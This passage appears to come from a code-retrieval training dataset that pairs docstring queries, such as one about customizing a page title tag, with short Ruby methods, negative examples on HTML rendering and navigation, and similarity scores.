HtmlContent.create(:discussion_id=>self.id,:content=>body)\n rescue => e\n end if self.discussion_type == \"URL\"\n end", "def begin_page(arg = nil)\n @content << \" \"\n end", "def webpage\n render(:webpage, layout:false) and return\n end", "def loadHandinPage()\n end", "def html_block!\n @page << @html_block\n end", "def to_html\n render_file(main)\n end", "def content\n @content \n end", "def content\n require theme_path\n this = self # needed because Markaby is based on `instance_eval`\n @builder = Trinity::Builder.new(:indent => 2)\n @builder.instruct!\n @builder.declare! :DOCTYPE, :html, :PUBLIC, \"-//W3C//DTD XHTML+RDFa 1.0//EN\", \"http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd\"\n @builder.html(:xmlns => 'http://www.w3.org/1999/xhtml') do\n head { this.render_html_head }\n body { this.render_html_body }\n end\n @builder.to_s\n end", "def content\n div :id => 'doc3' do\n div :id => 'hd' do\n render_top_line\n h1 @page_title || 'Missing :page_title' \n end\n div :id => 'bd' do\n render_body\n end\n div :id => 'ft' do\n render_footer\n end\n end\n end", "def html_page\n <<-END.gsub(/^\\s+/, '')\n <html><head>\n <title>Why Fixturing Is Annoying</title>\n <script src='/app-ui.js'></script>\n </head>\n <body class=\"webapp\">\n <div class=\"app-content-holder\"></div>\n </body></html>\n END\n end", "def page\n html = String.new\n html << (model.page_header_for(type, request) || tabs)\n html << \"<div id='autoforme_content' data-url='#{url_for('')}'>\"\n html << yield.to_s\n html << \"</div>\"\n html << model.page_footer_for(type, request).to_s\n html\n end", "def page; end", "def page; end", "def page; end", "def page; end", "def page; end", "def page; end", "def page; end", "def page; end", "def page; end", "def page; end", "def page; end", "def page; end", "def html_body\n self[:html_body]\n end", "def content\n View.render\n ensure\n self.class.reset\n end", "def html\n @html ||= process_html!\n end", "def build\r\n self.ehtml, self.ecss, self.ejs = self.theme.page_layout.build_content() \r\n return self.ehtml, self.ecss, self.ejs\r\n end", "def evaluate\n super\n content\n end", "def body_content\n call_block\n end", "def content=(value)\n @content = value\n end", "def content=(value)\n @content = value\n end", "def content=(value)\n @content = value\n end", "def content=(value)\n @content = value\n end", "def content=(value)\n @content = value\n end", "def content=(value)\n @content = value\n end", "def render(options = nil, extra_options = {}, &block) #:doc:\n @flash=flash\nputs \"RENGINE RENDER #1\"\n options=interpret_rengine_options(options)\nputs \"RENGINE RENDER #2\"\n #no layout\n super(options,extra_options,&block)\nputs \"RENGINE RENDER #3\"\n unless self.no_wrap\nputs \"RENGINE RENDER #4a\"\n \n \n txx=render_weblab(setUserJavascript+ self.response_body.join(\"\\n\"))\n puts \"RENGINE RENDER #4b\"\n\n # puts \"===========================\\n\"+txx.join(\"\\n\")+\"\\n!================================!\"\n\n if $render_translation_link\n txx << \"\\n<div style=\\\"background-color:#aaa;color:#0ff;\\\">\\n\"\n txx << translation_tool(@displayed_blurb_names)\n txx << \"\\n</div>\\n\"\n end\nputs \"RENGINE RENDER #5\"\n\n self.response_body=txx\n \n end\n end", "def setContent(value) \n @obj.setContent(value) \n end", "def show\r\n @page = Page.find(params[:id])\r\n data = File.read(\"#{Rails.public_path}/#{@page.project_id}/#{@page.page_name}.html\")\r\n @page.update_attribute(:html , data)\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @page }\r\n end\r\n end", "def html_page body\n uri = URI 'http://example/'\n Mechanize::Page.new uri, nil, body, 200, @mech\n end", "def inner_html= html\n `#@native.innerHTML = html`\n end", "def template_page(site); end", "def render\n # To be implemented.\n end", "def default_content; end", "def render_document; end", "def render\n raise NotImplementedError, 'this should be overridden by concrete sub-class'\n end", "def render *args\n @content\n end", "def render_body(context, options); end", "def designer\r\n @page = Page.find(params[:id])\r\n data = File.read(\"#{Rails.public_path}/#{@page.project_id}/#{@page.page_name}.html\")\r\n @page.update_attribute(:html , data)\r\n render 'designer'\r\n end", "def content \n @content\n end", "def body_content\n div(:id => :container, :class => container_classes().join(' ')) do\n header(:class => header_classes().join(' ')) do\n header_content()\n end\n div(:id => :main, :role => :main, :class => main_classes().join(' ')) do\n main_content()\n end\n footer(:class => footer_classes().join(' ')) do\n footer_content()\n end\n end\n #JavaScript at the bottom for fast page loading\n scripts()\n end", "def body=(body); end", "def content\n nil\n end", "def content=(_); end", "def setContent(content)\r\n\t\t\t\t\t@content = content\r\n\t\t\t\tend", "def setContent(content)\r\n\t\t\t\t\t@content = content\r\n\t\t\t\tend" ]
[ "0.67525566", "0.67525566", "0.67525566", "0.67525566", "0.67525566", "0.67525566", "0.67525566", "0.67525566", "0.67525566", "0.67525566", "0.67525566", "0.67525566", "0.67525566", "0.67525566", "0.661658", "0.6615409", "0.65340304", "0.65335", "0.65335", "0.65335", "0.64406013", "0.64401466", "0.64231575", "0.63356686", "0.63259625", "0.6296941", "0.6279068", "0.6279068", "0.6279068", "0.6276253", "0.62652457", "0.6229927", "0.6207729", "0.6207729", "0.61785513", "0.6155462", "0.6150792", "0.6147905", "0.6077097", "0.60737395", "0.6070291", "0.60579395", "0.6044505", "0.60444844", "0.60298043", "0.6014536", "0.60094243", "0.5992609", "0.59810764", "0.59810054", "0.59769946", "0.59747374", "0.59650004", "0.594824", "0.59473175", "0.5946223", "0.59435046", "0.59435046", "0.59435046", "0.59435046", "0.59435046", "0.59435046", "0.59435046", "0.59435046", "0.59435046", "0.59435046", "0.59435046", "0.59435046", "0.59356856", "0.59344375", "0.5925726", "0.59164405", "0.59123915", "0.5902288", "0.5898185", "0.5898185", "0.5898185", "0.5898185", "0.5898185", "0.5898185", "0.58971065", "0.58906263", "0.5888026", "0.58785844", "0.58770066", "0.5875499", "0.5863024", "0.58611196", "0.5854179", "0.5844488", "0.5844022", "0.58436006", "0.58370113", "0.58264464", "0.58202004", "0.58110744", "0.58077496", "0.5807182", "0.57983774", "0.57983774" ]
0.6147918
37
Override this method to customize the title tag.
def page_title() nil end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def title_tag\n content_tag :title, title_text.to_s\n end", "def title(title=\"\")\n self.tag('title', title)\n end", "def title\n\t\tbase_title = title_extend\n\t\tif @title.nil?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{@title}\"\n\t\tend\n\tend", "def title=(value)\n super(value)\n self.set_prefix\n return self.title\n end", "def title\n raise NotImplementedError, 'Subclasses must implement a title method.'\n end", "def render_title_tag options={}\n default_options = {\n :prefix => \"\",\n :seperator => \"|\"\n }\n options = default_options.merge(options)\n title = render_page_title(options)\n %(<title>#{title}</title>)\n end", "def title=(value)\n @title = value\n end", "def title=(value)\n @title = value\n end", "def title=(value)\n @title = value\n end", "def title=(value)\n @title = value\n end", "def title=(value)\n @title = value\n end", "def title=(value)\n @title = value\n end", "def title=(value)\n @title = value\n end", "def title\n \"#{super} #{self.tags.map(&:name).join(\" \")}\"\n end", "def title=(value)\n\t\t\t@title = value\n\t\tend", "def title(title_name)\n h.content_tag :h2 do\n title_name.present? ? title_name : \"Perfis\"\n end\n end", "def title\n super.first || \"\"\n end", "def title\n super.first || \"\"\n end", "def title\n base_title = \"H&H\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n super.first || ''\n end", "def title\n super.first || ''\n end", "def title\n super.first || ''\n end", "def handle_title(name, attrs) \n \n end", "def title\n if @title.nil?\n BASE_TITLE\n else\n \"#{BASE_TITLE} | #{@title}\"\n end\n end", "def title_tag(doc)\n tag_from_config(doc, :title_tag_selector) || doc.at('title')\n end", "def html_title\n @html_title || title\n end", "def title\n end", "def title_comp; end", "def title(title)\n @title = title\n end", "def augmented_title\n return self.title\n end", "def title_tag_content(page_title: '')\n base_title = COMPETITIONS_CONFIG[:application_name]\n page_title.empty? ? base_title : \"#{page_title} | #{base_title}\"\n end", "def title=(title)\n\t super(standardize_title(title))\n\t\t\t#self[:title] = title.strip\n\tend", "def title\n return super if block_given?\n\n @title || if show?\n content_tag('span', presenter.heading, itemprop: \"name\")\n else\n @view_context.link_to_document @document, counter: @counter, itemprop: 'name'\n end\n end", "def ctitle(title)\n self.title = title\n end", "def title\n # \"Override def title in vendor/extensions/employee_skills/app/models/refinery/employee_skills/employee_skill.rb\"\n end", "def head_title(title)\n content_for :head_title, title\n end", "def title\n base_title = 'Statustar'\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title_name; end", "def title\n base_title = \"Digital Library Management Tool\"\n if @title.nil?\n base_title\n else\n \"#{base_title}|#{@title}\"\n end\n end", "def title\n ''\n end", "def title(title)\n @title=title\n end", "def title_tag\n\tr = \"<title>#{CGI::escapeHTML( @html_title )}\"\n\tcase @mode\n\twhen 'day', 'comment'\n\t\tr << \"(#{@date.strftime( '%Y-%m-%d' )})\" if @date\n\twhen 'month'\n\t\tr << \"(#{@date.strftime( '%Y-%m' )})\" if @date\n\twhen 'form'\n\t\tr << '(Append)'\n\twhen 'edit'\n\t\tr << '(Edit)'\n\twhen 'preview'\n\t\tr << '(Preview)'\n\twhen 'showcomment'\n\t\tr << '(TSUKKOMI Status Change Completed)'\n\twhen 'conf'\n\t\tr << '(Preferences)'\n\twhen 'saveconf'\n\t\tr << '(Preferences Changed)'\n\twhen 'nyear'\n\t\tyears = @diaries.keys.map {|ymd| ymd.sub(/^\\d{4}/, \"\")}\n\t\tr << \"(#{years[0].sub( /^(\\d\\d)/, '\\1-')}[#{nyear_diary_label @date, years}])\" if @date\n\tend\n\tr << '</title>'\nend", "def title(value = nil, options = nil)\n end", "def title\n base_title = \"Railstwitterclone\"\n if @title.nil?\n base_title\n else\n \"#{base_title} - #{@title}\"\n end\n end", "def title\n base_title = \"Reseau Social ESMT\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title_view\n html = \"\"\n html << \"<span class=\\\"icon12 icomoon-icon-home home_page\\\"></span>\" if self[:home_page]\n html << (ActionController::Base.helpers.link_to self[:title], ApplicationController.helpers.edit_url(self.class.base_class, self))\n html.html_safe\n end", "def h_title(text)\n\t\tcontent_for :title, text\n\tend", "def title(_content)\n raise NotImplementedError\n end", "def title\n @title ||= self.class.non_namespaced_classname\n end", "def title\n @tagline unless name?\n end", "def title\n base_title = \"Operation Paws for Homes\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def set(args, ac=true)\n super(args, ac)\n @title_label.value = @style[:title] if @title_label\n end", "def set(args, ac=true)\n super(args, ac)\n @title_label.value = @style[:title] if @title_label\n end", "def title\n return \"Yuck, yuck, yuck: #{super}\"\n end", "def setTitle(title)\r\n\t\t\t\t\t@title = title\r\n\t\t\t\tend", "def title\n base_title = \"Golo\"\n [email protected]?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title=(value)\n if value\n @title = value if value.is_a? String\n end\n end", "def title_help \n\n\t\t#Define general page title\n\t\tbase_title = \"Rex Ruby on Rails Learning | PagesHelper\"\n\t\tif(@title.nil?)\n\t\t\tbase_title\n\t\telse\n\t\t\tbase_title = \"Rex Ruby on Rails Learning | #{@title} | PagesHelper\"\n\t\tend\n\tend", "def title(title)\n \traw \"<div class=\\\"titlebar\\\"><h2>#{title}</h2></div>\"\n end", "def title\n\t\tbase_title = \"Black Market Books\"\n\t\tif @title.nil?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{@title}\"\n\t\tend\n\tend", "def title\n base_title = \"StkUp - Simple, Purposeful Comparisons\"\n @title.nil? ? base_title : \"#{base_title} | #{@title}\"\n end", "def title\n base_title = \"S.Hukin ltd - Sheffield, UK. Speciality wholesale foods.\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n base_title = \"Bejben\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n base_title = \"An Andy Sharkey Production\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title(title = nil)\n @title = title if title\n @title\n end", "def title=(s)\n \tsuper s.titleize\n\tend", "def set_title(title)\n @title = title\n end", "def title(value)\n throw_content(:for_title, \"#{h(value)} - \")\n end", "def title(*args, &block)\n element.title(*args, &block)\n end", "def title\n base_title = \"Syamantak Mukhopadhyay - Weblog\"\n if @title.nil?\n base_title\n else\n \"#{@title}\"\n end\n end", "def title\n t = _title.text_value.gsub(\"::\", \"\")\n t.blank? ? self.text : t\n end", "def title; end", "def title; end", "def title; end", "def title; end", "def title; end", "def title; end", "def title; end", "def title; end", "def title; end", "def title; end", "def title; end", "def title; end", "def title; end", "def title; end", "def title; end", "def title; end", "def title; end", "def title; end", "def uniquify\n super\n self.short_title = title\n end", "def title\n\t\tbase_title = \"Rubby on the rails Tutorial Sample App\"\n\t\tif @title.nil?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} |#{@title}\"\n\t\tend\n\tend", "def title\n\t\tbase_titre = \"Simple App du Tutoriel Ruby on Rails\"\n\t\[email protected]? ? base_titre : \"#{base_titre} | #{@title}\"\n\tend", "def title\n\t base_title = \"Most epic website of all time, also celebrating beer.\"\n\t if @title.nil?\n\t base_title\n\t else\n\t \"#{base_title} | #{@title}\"\n\t end\n end", "def title=(text); end", "def title=(text); end", "def title=(title)\n if self.kind == TITLE && !title.blank? && title.first == \"\\r\"\n write_attribute(:title, \" #{title}\")\n else\n write_attribute(:title, title)\n end\n end", "def title(value)\n merge(letitle: value.to_s)\n end", "def title\n base_title = \"My Site\"\n unless @title.nil?\n \"#{base_title} | #{@title}\"\n else\n base_title\n end\n\n end", "def get_title\n base_title = get_name_or_logo\n @title.nil? ? base_title : \"#{base_title} | #{@title}\"\n end", "def status_title\n content_tag(:h1, t(:h1, scope: :status_cat))\n end", "def title_label\n $tracer.trace(format_method(__method__))\n return ToolTag.new(@tag.find.span.with.className(\"title\"), format_method(__method__))\n end" ]
[ "0.82337034", "0.78147423", "0.78034276", "0.77125376", "0.7692614", "0.76444685", "0.7644385", "0.7644385", "0.7644385", "0.7644385", "0.7644385", "0.7644385", "0.7644385", "0.7586405", "0.7569838", "0.75525004", "0.75141096", "0.75141096", "0.7465863", "0.7462345", "0.7462345", "0.7462345", "0.746025", "0.74349344", "0.7392536", "0.73812574", "0.73739076", "0.73480004", "0.73287815", "0.7313323", "0.73007715", "0.7292463", "0.7278528", "0.7264213", "0.7259677", "0.72583073", "0.7219622", "0.72103506", "0.72074723", "0.7204725", "0.7183718", "0.7181257", "0.7179526", "0.7178211", "0.7175415", "0.7171905", "0.7167", "0.71650505", "0.7164707", "0.715548", "0.71507156", "0.71410215", "0.71410215", "0.7138531", "0.7137562", "0.7110212", "0.71045196", "0.7103924", "0.7096764", "0.7092372", "0.7080205", "0.7072729", "0.7058931", "0.7048596", "0.70413655", "0.7036419", "0.70302767", "0.7028274", "0.7020011", "0.7014744", "0.7008766", "0.7007969", "0.7007969", "0.7007969", "0.7007969", "0.7007969", "0.7007969", "0.7007969", "0.7007969", "0.7007969", "0.7007969", "0.7007969", "0.7007969", "0.7007969", "0.7007969", "0.7007969", "0.7007969", "0.7007969", "0.7007969", "0.7004397", "0.6993658", "0.6986705", "0.698566", "0.69839954", "0.69839954", "0.69766617", "0.69658154", "0.6965798", "0.69647306", "0.6957795", "0.69471854" ]
0.0
-1
Override this method with the chain of objects that corresponds to the user's position in the navigational structure. For instance, if the user is viewing a bug within an environment within a Project, you'd want to
def breadcrumbs() [] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ancestors() end", "def ancestors; end", "def ancestors; end", "def ancestors; end", "def ancestors; end", "def ancestors\n end", "def go_to_where_you_belong\n \n end", "def parents\n references\n end", "def navigation\n\t\t\t@navigation\n\t\tend", "def navigation_children\n sorted_children\n end", "def references_to\n # REVISIT: If some other object has a Mapping to us, that should be in this list\n @mapping.all_member.select do |m|\n m.is_a?(MM::Absorption) and\n f = m.forward_mapping and # This Absorption has a forward counterpart, so must be reverse\n f.parent_role.is_unique\n end\n end", "def surrounding\r\n arr = @locs.flat_map { |x| x.each_link.to_a }.flat_map { |x| @nav.map[x] }\r\n NavLocationLens.new @nav, (self.to_a + arr.to_a)\r\n end", "def lazy_set_parent_element_in_self( local_index, optional_object = nil, passed_optional_object = false )\n\n object = nil\n if @cascade_controller.requires_lookup?( local_index )\n\n parent_array = @cascade_controller.parent_array( local_index )\n parent_index = @cascade_controller.parent_index( local_index, parent_array )\n\n object = passed_optional_object ? optional_object : parent_array[ parent_index ]\n \n # We call hooks manually so that we can do a direct undecorated set.\n # This is because we already have an object we loaded as a place-holder that we are now updating.\n # So we don't want to sort/test uniqueness/etc. We just want to insert at the actual index.\n\n unless @without_child_hooks\n object = child_pre_set_hook( local_index, object, false, parent_array )\n if ::Array::Compositing::DoNotInherit === object\n delete_at( local_index )\n return lazy_set_parent_element_in_self( local_index, optional_object, passed_optional_object )\n end\n end\n \n object = pre_set_hook( local_index, object, false, 1 ) unless @without_hooks\n\n undecorated_set( local_index, object )\n\n @cascade_controller.looked_up!( local_index )\n \n post_set_hook( local_index, object, false ) unless @without_hooks\n child_post_set_hook( local_index, object, false, parent_array ) unless @without_child_hooks\n\n else\n\n object = undecorated_get( local_index )\n\n end\n \n return object\n \n end", "def parents; end", "def front() object.front_for_anki end", "def each_with_level(objects)\n path = [nil]\n objects.sort_by(&left_column_name.to_sym).each do |o|\n if o._parent_id != path.last\n # we are on a new level, did we decent or ascent?\n if path.include?(o._parent_id)\n # remove wrong wrong tailing paths elements\n path.pop while path.last != o._parent_id\n else\n path << o._parent_id\n end\n end\n yield(o, path.length - 1)\n end\n end", "def parent\n object.try(:loaded)&.[](:parents)&.first || wayfinder.decorated_parent\n end", "def navigation nodes_stack, nodes, level=0\n nodes.map do |node|\n model_param = node.abstract_model.to_param\n url = locale_url_for(:action => :index, :controller => 'rails_admin/main', :model_name => model_param)\n level_class = \" nav-level-#{level}\" if level > 0\n\n li = content_tag :li, \"data-model\"=>model_param do\n #content_tag(:i, '', class: \"icon icon-#{model_param}\")\n #link_to(node.label_plural, url, :class => \"pjax#{level_class}\")\n adata = t('admin.menu.tip.'\"#{model_param}\")\n link_to url, class: \"tip-right pjax#{level_class}\", 'data-original-title' => adata do\n content_tag(:i, '', class: \"icon icon-#{model_param}\") + content_tag(:span, node.label_plural )\n end\n end\n li + navigation(nodes_stack, nodes_stack.select{ |n| n.parent.to_s == node.abstract_model.model_name}, level+1)\n end.join.html_safe\n end", "def parents\n self.class.where('forestify_left_position < ?', self.forestify_left_position).where('forestify_right_position > ?', self.forestify_right_position)\n end", "def superview_chain\n @superview_chain ||= []\n end", "def parent=(obj); end", "def begin_of_association_chain\n # raise self.action_name.inspect\n case self.action_name\n when 'index', 'show' : super\n when 'owned_by' :\n @user=User.find(params[:user_id])\n else\n current_user\n end\n end", "def current_parents\n self.class\n .for_target(self.target)\n .where(group_id: group_id)\n end", "def ancestors\n model_base_class.where(ancestor_conditions).order(:materialized_path)\n end", "def ancestors\n self.class.find(:all, :conditions => \"#{acts_as_nested_set_options[:scope]} AND (#{acts_as_nested_set_options[:left_column]} < #{self[acts_as_nested_set_options[:left_column]]} and #{acts_as_nested_set_options[:right_column]} > #{self[acts_as_nested_set_options[:right_column]]})\", :order => acts_as_nested_set_options[:left_column] )\n end", "def travNav(navBar, &block)\n navBar.each { |nav|\n block.yield(nav)\n if nav['type'] == 'folder'\n travNav(nav['sub_nav'], &block)\n end\n }\nend", "def lineage\n\t\tparents = []\n\t\tlist = self\n\t\twhile list.parentlist_id\n\t\t\tlist = List.find(list.parentlist_id)\n\t\t\tparents << list\n\t\tend\n\t\t\n\t\tif parents.length > 0\n \t\tparents.reverse!.slice(1..-1)\n else\n parents\n end\n end", "def provide_navigation_by_all_skippers\n # Interface method\n end", "def path; @path_stack end", "def breadcrumb_trail\n ancestors + [self]\n end", "def references\n @parents.keys\n end", "def assign_position\n gon.structure = build_pages_tree\n gon.position = @page.position\n gon.parent_id = @page.parent_id\n end", "def parents\n check_commit\n @parents \n end", "def move_to who, ox, oy, nx, ny\n @current_level.move_to who, ox, oy, nx, ny\n end", "def parents\n parent_objects(Dependency)\n end", "def ordered_topologically\n @ordered_topologically ||= super\n end", "def set_parent_object\n if(@order_item.blank? || @order_item.new_record?)\n @parent = [@purchasable, :order_items]\n else\n unless(@order_item.order != nil && @order_item.order.type == 'Basket')\n @parent = find_order_item_parent(@order_item)\n else\n @parent = orders_basket_path\n end\n end\n end", "def get_location\n if target_relationships.count == 1\n item = target_relationships.first\n else\n item = target_relationships.sort_by {|tr| tr.read_attribute(:preposition) }.first\n end\n if item.nil?\n nil\n else\n if item.detail == 'default'\n item.target\n else\n ItemDetail.new(item.target, item.detail, item.preposition)\n end\n end\n end", "def before_save\n if owner\n self.page = owner.page if page.nil?\n if page?\n self.depth = parent ? ((parent.depth || 0) + 1) : 0\n else\n self.depth = (owner.content_depth || 0) + 1\n end\n end\n super\n end", "def pos; [lft,rgt] end", "def pos; [lft,rgt] end", "def pos; [lft,rgt] end", "def pos; [lft,rgt] end", "def pos; [lft,rgt] end", "def pos; [lft,rgt] end", "def pos; [lft,rgt] end", "def pos; [lft,rgt] end", "def main_navigation\n nodes_stack = RailsAdmin::Config.visible_models(:controller => self.controller)\n node_model_names = nodes_stack.map{ |c| c.abstract_model.model_name }\n\n nodes_stack.group_by(&:navigation_label).map do |navigation_label, nodes|\n\n nodes = nodes.select{ |n| n.parent.nil? || !n.parent.to_s.in?(node_model_names) }\n li_stack = navigation nodes_stack, nodes\n\n li_a_home = link_to localizing_path(dashboard_path), class: 'pjax' do\n content_tag(:i, '', class: 'icon icon-home') + content_tag(:span, t('admin.actions.dashboard.menu'))\n end\n %{<li class=\"homelink\">#{li_a_home}</li>#{li_stack}} if li_stack.present?\n end.join.html_safe\n end", "def get_hierarchical_from\n if (self.from_id) then\n self.from\n else \n self.strategy.get_hierarchical_from\n end\n end", "def topnav_items(info={:object_id => 0, :object_name => nil})\n # Set up hashes of links\n if info[:object_name].blank?\n name = controller.controller_name.gsub('_', ' ')\n else\n name = info[:object_name].pluralize\n end\n index_link = {:name => name.capitalize + \" index\",\n :target => {:controller => controller.controller_name}}\n list_link = {:name => \"List \" + name,\n :target => {:controller => controller.controller_name, :action => 'list'}}\n new_link = {:name => \"Add new \" + ActiveSupport::Inflector.singularize(name),\n :target => {:controller => controller.controller_name, :action => 'new'}}\n edit_link = {:name => \"Edit \" + ActiveSupport::Inflector.singularize(name),\n :target => {:controller => controller.controller_name, :action => 'edit',\n :id => info[:object_id]}}\n show_link = {:name => \"View \" + ActiveSupport::Inflector.singularize(name),\n :target => {:controller => controller.controller_name, :action => 'show',\n :id => info[:object_id]}}\n main_link = {:name => \"Main\", :target => {:controller => 'main'}}\n cp_link = {:name => \"Control Panel\", :target => {:controller => 'cp'}}\n # Create an array to hold the links in order\n link_array = []\n case params[:action]\n when \"index\", \"\"\n link_array[0] = list_link\n link_array[1] = new_link\n when \"list\", \"list_deactivated\"\n link_array[0] = index_link\n link_array[1] = new_link\n when \"new\", \"create\"\n link_array[0] = index_link\n link_array[1] = list_link\n when \"show\"\n link_array[0] = edit_link\n link_array[1] = index_link\n link_array[2] = list_link\n when \"edit\"\n link_array[0] = show_link\n link_array[1] = index_link\n link_array[2] = list_link\n when \"search\"\n link_array[0] = index_link\n link_array[1] = new_link\n end\n # Adding a special case for :fqdn\n if params[:fqdn]\n link_array[0] = edit_link\n link_array[1] = index_link\n link_array[2] = list_link\n end\n link_array << main_link << cp_link\n html = ''\n link_array.each do |link|\n html += \"<li>\" + link_to(link[:name], link[:target]) + \"</li>\"\n end\n return html\n end", "def beginning_of_chain\n nested? ? super : active_scaffold_config.model.roots\n end", "def beginning_of_chain\n nested? ? super : active_scaffold_config.model.roots\n end", "def _parent; end", "def canvas_user_navigation!(params = {})\n set_canvas_ext_param(:user_navigation, params)\n end", "def objectLocationInActivity(object)\n indexes = []\n return indexes if object == nil\n # puts \"object: \" + object.java_class.name\n card_container_parent_paths = @otrunk.getIncomingReferences(object.getGlobalId(), OTCardContainer.java_class, true)\n card_container_parent_paths.sort{|a,b| b.size <=> a.size}.each do |path|\n containerId = path[path.size-1].getSource()\n cardId = path[path.size-1].getDest()\n index = _indexInCardContainer(containerId, cardId)\n indexes << index\n end\n return indexes.compact\n end", "def set_objects\n\n @eventOwnerMenuList = Event.scp_postOwner_menu\n @catMenuList = EventCategory.scp_category_menu\n\n end", "def indirects_of(object)\n t = arel_table\n node = to_node(object)\n where(t[ancestry_column].matches(\"#{node.child_ancestry}/%\", nil, true))\n end", "def navigation\n [IndexHtmlUnit.new.link] + ModelHtmlUnitCollection.links_by_make(make)\n end", "def useful_parents\n ret_parents = self.parents\n if ret_parents[1].nil?\n if ret_parents[0].revision >= self.revision - 1\n ret_parents = []\n else\n ret_parents = [ret_parents[0]]\n end\n end\n ret_parents\n end", "def self_and_parent_menus(options={})\n\t\t\tarr = [self]\n\t\t\tfather = self.parent\n\t\t\twhile father.present?\n\t\t\t\tarr << father\n\t\t\t\tfather = father.parent\n\t\t\tend\n\n\t\t\treturn arr.reverse\n\t\tend", "def parent\n return investigation\n end", "def lineage(top: nil, bottom: nil, hierarchy_order: nil)\n raise UnboundedSearch, 'Must bound search by either top or bottom' unless top || bottom\n\n skope = self.class\n\n if top\n skope = skope.where(\"traversal_ids @> ('{?}')\", top.id)\n end\n\n if bottom\n skope = skope.where(id: bottom.traversal_ids)\n end\n\n # The original `with_depth` attribute in ObjectHierarchy increments as you\n # walk away from the \"base\" namespace. This direction changes depending on\n # if you are walking up the ancestors or down the descendants.\n if hierarchy_order\n depth_sql = \"ABS(#{traversal_ids.count} - array_length(traversal_ids, 1))\"\n skope = skope.select(skope.default_select_columns, \"#{depth_sql} as depth\")\n # The SELECT includes an extra depth attribute. We wrap the SQL in a\n # standard SELECT to avoid mismatched attribute errors when trying to\n # chain future ActiveRelation commands, and retain the ordering.\n skope = self.class\n .from(skope, self.class.table_name)\n .select(skope.arel_table[Arel.star])\n .order(depth: hierarchy_order)\n end\n\n skope\n end", "def nav_scope\n self.class._nav_scope\n end", "def parent_object\n @site\n end", "def menu_path()\n path, parent = [], self\n while parent\n path << parent.id\n parent = parent._parent\n end \n path.reverse\nend", "def parentage\n get_parents unless @already_fetched_parents\n @already_fetched_parents = true\n super\n end", "def roots\n acts_as_nested_set_options[:class].find(:all, :conditions => \"(#{acts_as_nested_set_options[:parent_column]} IS NULL OR #{acts_as_nested_set_options[:parent_column]} = 0)\", :order => \"#{acts_as_nested_set_options[:left_column]}\")\n end", "def begin_of_association_chain\n self.action_name != 'index' ? current_user : super\n end", "def navigation_id; end", "def find_beeper()\n while not next_to_a_beeper?()\n move_toward_beeper()\n end\n end", "def matching_ancestors; end", "def branch\n descendents.unshift(self)\n end", "def quick_links_for(object)\n case object\n when :welcome\n links = StaticPage.find_by_url(\"parent-resources\").try(:links) || []\n return_links = Array.new([[\"Parent Resources\"]])\n links.each do |link|\n return_links << [link.name, link.url]\n end\n return_links\n end\n end", "def navigation_location\n return options[:location] if options[:location]\n klass = resources.last.class\n\n if klass.respond_to?(:model_name)\n resources[0...-1] << klass.model_name.plural.to_sym\n else\n resources\n end\n end", "def ancestors\n []\n end", "def get_parent_object\n nil\n end", "def lookup(obj, pos); end", "def parent_lists\n self.parents(List)\n end", "def look\n @store[@top]\n end", "def look\n @store[@top]\n end", "def look\n @store[@top]\n end", "def look\n @store[@top]\n end", "def look\n @store[@top]\n end", "def look\n @store[@top]\n end", "def set_path\n # Ouch\n _ancestors = ancestors.reverse\n _ancestors.delete(self.parent)\n _ancestors << Page.find(self.parent_id) if self.parent_id\n \n self.path = (_ancestors << self).map(&:slug).join(\"/\").gsub(/^\\//, \"\")\n end", "def navigation_id=(_arg0); end", "def parent_path(options={})\n super_path(association_chain, options)\n end", "def structure\n @change_set = change_set_class.new(find_resource(params[:id])).prepopulate!\n authorize! :structure, @change_set.resource\n @logical_order = (Array(@change_set.logical_structure).first || Structure.new).decorate\n members = Wayfinder.for(@change_set.resource).members_with_parents\n @logical_order = WithProxyForObject.new(@logical_order, members)\n end", "def rest_positionals; end", "def user_nav\n if @current_user\n items = {'Home' => root_path, 'My Account' => account_path, 'My Submissions' => current_user_submissions_path}\n else\n if ApplicationSettings.config['user_registration']\n end\n items = {'Home' => root_path, 'Signup' => signup_path}\n end\n output_nav(items)\n end", "def path_nav(obj, path = '', delimiter = '.', &block)\n case obj\n when Hash\n if obj.empty?\n yield path, obj\n else\n obj.each do |k, v|\n path_nav(\n v,\n (path ? [path, k.to_s.gsub(delimiter, \"\\\\#{delimiter}\")].join(delimiter) : k.to_s.gsub(delimiter, \"\\\\#{delimiter}\")).to_s,\n delimiter,\n &block\n )\n end\n end\n when Array\n if obj.empty?\n yield path, obj\n else\n obj.each_with_index do |ob, index|\n path_nav(\n ob,\n (path ? [path, \"[#{index}]\"].join(delimiter) : \"[#{index}]\").to_s,\n delimiter,\n &block\n )\n end\n end\n else\n yield path, obj\n end\n end", "def structure\n @change_set = ChangeSet.for(find_resource(params[:id]), change_set_param: change_set_param).prepopulate!\n authorize! :structure, @change_set.resource\n @logical_order = (Array(@change_set.logical_structure).first || Structure.new).decorate\n members = Wayfinder.for(@change_set.resource).members_with_parents\n @logical_order = WithProxyForObject.new(@logical_order, members)\n end", "def get_nav_tags\n @main_nav_tags = Tag.find_ordered_parents\n end", "def parent; @options[:parent]; end", "def positions\n @boards = current_company.boards.decorate\n end", "def ancestors\n @space.ancestors\n end", "def lookAtPos _obj, _args\n \"_obj lookAtPos _args;\" \n end", "def refs_at; end", "def print_automation_objects(indent_level, hierarchy)\n case hierarchy.position\n when 'root'\n print_line(indent_level, \"#{hierarchy.obj_name} ($evm.root)\")\n when 